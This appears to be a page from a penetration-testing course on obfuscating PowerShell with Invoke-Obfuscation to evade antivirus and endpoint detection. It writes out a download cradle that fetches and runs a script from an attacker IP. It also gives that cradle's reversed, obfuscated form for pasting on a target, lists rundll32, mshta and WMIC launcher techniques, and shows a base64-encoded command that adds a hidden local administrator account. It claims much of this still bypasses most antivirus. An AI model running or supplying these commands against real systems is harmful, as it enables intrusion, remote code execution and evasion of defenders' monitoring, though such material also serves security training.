Obfuscation

As endpoint security solutions catch up with attacker methods and implement numerous heuristics and detection signatures to catch powershell commands as they’re being executed, we turn to obfuscation as a layer in helping us evade those defenses.

One of the more well-known frameworks we can use for this purpose is Daniel Bohannon’s Invoke-Obfuscation.

Invoke-Obfuscation offers us some excellent options we can use to obfuscate and encode our powershell commands or script blocks using a number of methods including AES encryption with the “SecureString” method, to special characters and even whitespace encoding.

We’ll first need to download the Invoke-Obfuscation framework into our modules directory, same as we did for the PowerSploit example in the Fundamentals lesson module. We can download the master.zip for Invoke-Obfuscation from github here:

https://github.com/danielbohannon/InvokeObfuscation/archive/master.zip

We can find a modules path to use by executing the following from the PowerShell console:

PS C:\> $env:PSModulePath

In our case, we’ll use the first path:

C:\users\user\Documents\WindowsPowerShell\Modules

Once we download and extract the Invoke-Obfuscation package into our modules directory into a folder called “InvokeObfuscation,” we should be able to import it into our current PowerShell session:

PS C:\> Import-Module Invoke-Obfuscation

Once we’ve imported the Invoke-Obfuscation modules, we can then launch the framework with the InvokeObfuscation command, and are then presented with several different options we can use:

PS C:\> Invoke-Obfuscation

We have several different options we can use to obfuscate our PowerShell commands:

• TOKEN - Obfuscate PowerShell command Tokens
• AST - Obfuscate PowerShell Ast nodes (PowerShell 3.0 and greater)
• STRING - Obfuscate entire command as a String
• ENCODING - Obfuscate entire command via Encoding
• COMPRESS - Convert entire command to one-liner and Compress
• LAUNCHER - Obfuscate command args w/Launcher techniques (run
once at end)

First, in order to tell Invoke-Obfuscation what we’d like to obfuscate exactly, we first need to use the “SET SCRIPTBLOCK” command.

As an example of a script block we can use, let’s take a standard Net.WebClient download cradle:

iex (New-Object Net.Webclient).downloadstring("http://192.168.13.62/Get-ProcessPaths.ps1")

The download cradle from the previous slide, when executed on our target, will use the Net.WebClient class, and will download and execute our “Get-ProcessPaths.ps1” script from our attacker machine, which will simply list running processes on our target.

Let’s set that as the “SCRIPTBLOCK” in Invoke-Obfuscation as the command we want to obfuscate with the “SET SCRIPTBLOCK” command:

Invoke-Obfuscation> SET SCRIPTBLOCK iex (New-Object
Net.Webclient).downloadstring("http://192.168.13.62/Get-ProcessPaths.ps1")

Once we’ve told Invoke-Obfuscation what we’d like to obfuscate with the SET SCRIPTBLOCK command, we can select a method we’d like to use. Let’s use the “STRING” method to start as an example. We simply type “STRING” and are presented with several options for that method:

Invoke-Obfuscation> STRING

We have three options with the “STRING” obfuscation method. Let’s go with option “3,” the “Reverse” method.

The “REVERSE” method will first concatenate our PowerShell command line and then reverse the entire string.

Once we select and run the option we want (in this case, “3”), Invoke-Obfuscation presents us with the command it used to create the obfuscated string block, along with the result of the command. It’s the result of the command we will execute on our target system.

PS C:\> $Lqi7O ="NoisseRpXE-EKOvnI| )43]rahc[ f-
)')'+'}0'+'{1'+'sp.sh'+'taPsse'+'corPteG/26.31.'+'8'+'61'+'.291/'+'/:'+'p'+'tt'+'h}0{('+'g'+'n'+'irtsdao'+'lnwo'+'
d'+'.)'+'tneilcb'+'e'+'W.teN'+' tce'+'jbO-weN'+'('+' '+'x'+'ei'(( ";
[STRinG]::JOIN( '' ,$Lqi7O[ -1.. -($Lqi7O.lENgTH ) ]) |IeX

We can just copy and paste the “Result” output to our target system in a powershell prompt, and it will execute our download cradle.

Let’s take a look at the results of the “ENCODING” method, which provides a bit more obfuscation, and is a bit harder to detect. Option 7, for example, is the “Special Characters” encoding.

Running that method against our script block returns us a heavily
obfuscated string.

Again, we simply paste the resulting output into a powershell console on our target machine.

If we’re operating from a windows command prompt on the target, instead of a powershell console, we can use the powershell.exe -Command option to run our obfuscated commands, just encapsulate the result with quotes.

You should experiment with all of the obfuscation options available with Invoke-Obfuscation, there’s a lot of great stuff in there, and much of it still bypasses most antivirus solutions.

Important :

Something to note while using Invoke-Obfuscation is that if you’ve applied a method to a script block, and then re-apply another method, it will append to a previous script block, and essentially create a very large result. You’ll notice this when you try to apply a method and receive a warning about the command exceeding cmd.exe’s maximum command length.

To get around this, after applying one particular encoding method, use the “RESET” option to clear previous encodings, this way, they won’t “pile up” on one another.

n addition to obfuscating our PowerShell commands, we can also create obfuscated launcher commands to run our obfuscated code on the target using the “LAUNCHER” option. For instance, if we want to use WMIC to launch our obfuscated code, we can quickly generate a command to do so. The available LAUNCHER options are:

[*] LAUNCHER\PS PowerShell 
[*] LAUNCHER\CMD Cmd + PowerShell 
[*] LAUNCHER\WMIC Wmic + PowerShell 
[*] LAUNCHER\RUNDLL Rund1132 + PowerShell 
[*] LAUNCHER\VAR+ Cmd + set Var && PowerShell iex Var 
[*] LAUNCHER\STDIN+ Cmd + Echo 1 PowerShell - (stdin) 
[*] LAUNCHER\CLIP+ Cmd + Echo 1 Clip && PowerShell iex clipboard 
[*] LAUNCHER\VAR++ Cmd + set Var && Cmd && PowerShell iex Var 
[*] LAUNCHER\STDIN++ Cmd + set Var && Cmd Echo 1 PowerShell - (stdin) 
[*] LAUNCHER\CLIP++ Cmd + Echo 1 Clip && Cmd && PowerShell iex clipboard 
[*] LAUNCHER\RUNDLL++ Cmd + set Var && Rund1132 && PowerShell iex Var 
[*] LAUNCHER\MSHIA++ Cmd + set Var && Mshta && PowerShell iex Var 

The process for using the LAUNCHER option is that we first create our obfuscated commands as we did previously:

1. We SET SCRIPTBLOCK with the code we want to execute.
2. We select an obfuscation method to generate the obfuscated command.
3. We then use the LAUNCHER
option at the end of this
process.

In this example, we’ll assume we followed the above steps, and now select our LAUNCHER command. We’ll choose the RUNDLL method.

And then the command line options we’d like to use as well, in this case, we’ll choose “0” for No Execution Flag:

The resulting string, is an obfuscated command that utilizes rundll32.exe with the “SHELL32.DLL” function (ShellExec_RunDLL) which will launch our obfuscated powershell code on the target:

Invoke-Obfuscation includes a “Tutorial” option if you’re stuck and need some guidance on some of its options.

Encoded Commands :

Although not really a recommended “obfuscation” method since it can be easily detected by Antivirus and other string heuristics, considering it’s just base64 encoding, is PowerShell’s – EncodedCommand parameter.

The -EncodedCommand parameter allows us to execute encoded commands or script blocks which contain characters which might interfere with the processing of our command via a windows command prompt. In simpler terms, it makes complex commands “digestible” by PowerShell by encoding everything with Base64.

As an example, to encode a command that will add a new user “admin1” to the local administrator’s group, we can do the following:

PS C:\> $command = ‘net user admin1 “p@ssw0rd9001” /ADD; net localgroup administrators admin1 /add’
PS C:\> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS C:\> $encodedCommand = [Convert]::ToBase64String($bytes)

We can then get the results of our encoded command with the “Write-Host” cmdlet against our $encodedCommand variable:

PS C:\> Write-Host $encodedCommand
bgBlAHQAIAB1AHMAZQByACAAYQBkAG0AaQBuADEAIAAiAHAAQABzAHMAdw
AwAHIAZAA5ADAAMAAxACIAIAAvAEEARABEADsAIABuAGUAdAAgAGwAbwBj
AGEAbABnAHIAbwB1AHAAIABhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAH
MAIABhAGQAbQBpAG4AMQAgAC8AYQBkAGQA

We then execute our encoded command with the powershell.exe - EncodedCommand parameter on the target:

C:\windows\system32> powershell.exe -encodedcommand
bgBlAHQAIAB1AHMAZQByACAAYQBkAG0AaQBuADEAIAAiAHAAQABzAHM
AdwAwAHIAZAA5ADAAMAAxACIAIAAvAEEARABEADsAIABuAGUAdAAgAG
wAbwBjAGEAbABnAHIAbwB1AHAAIABhAGQAbQBpAG4AaQBzAHQAcgBhA
HQAbwByAHMAIABhAGQAbQBpAG4AMQAgAC8AYQBkAGQA

Last updated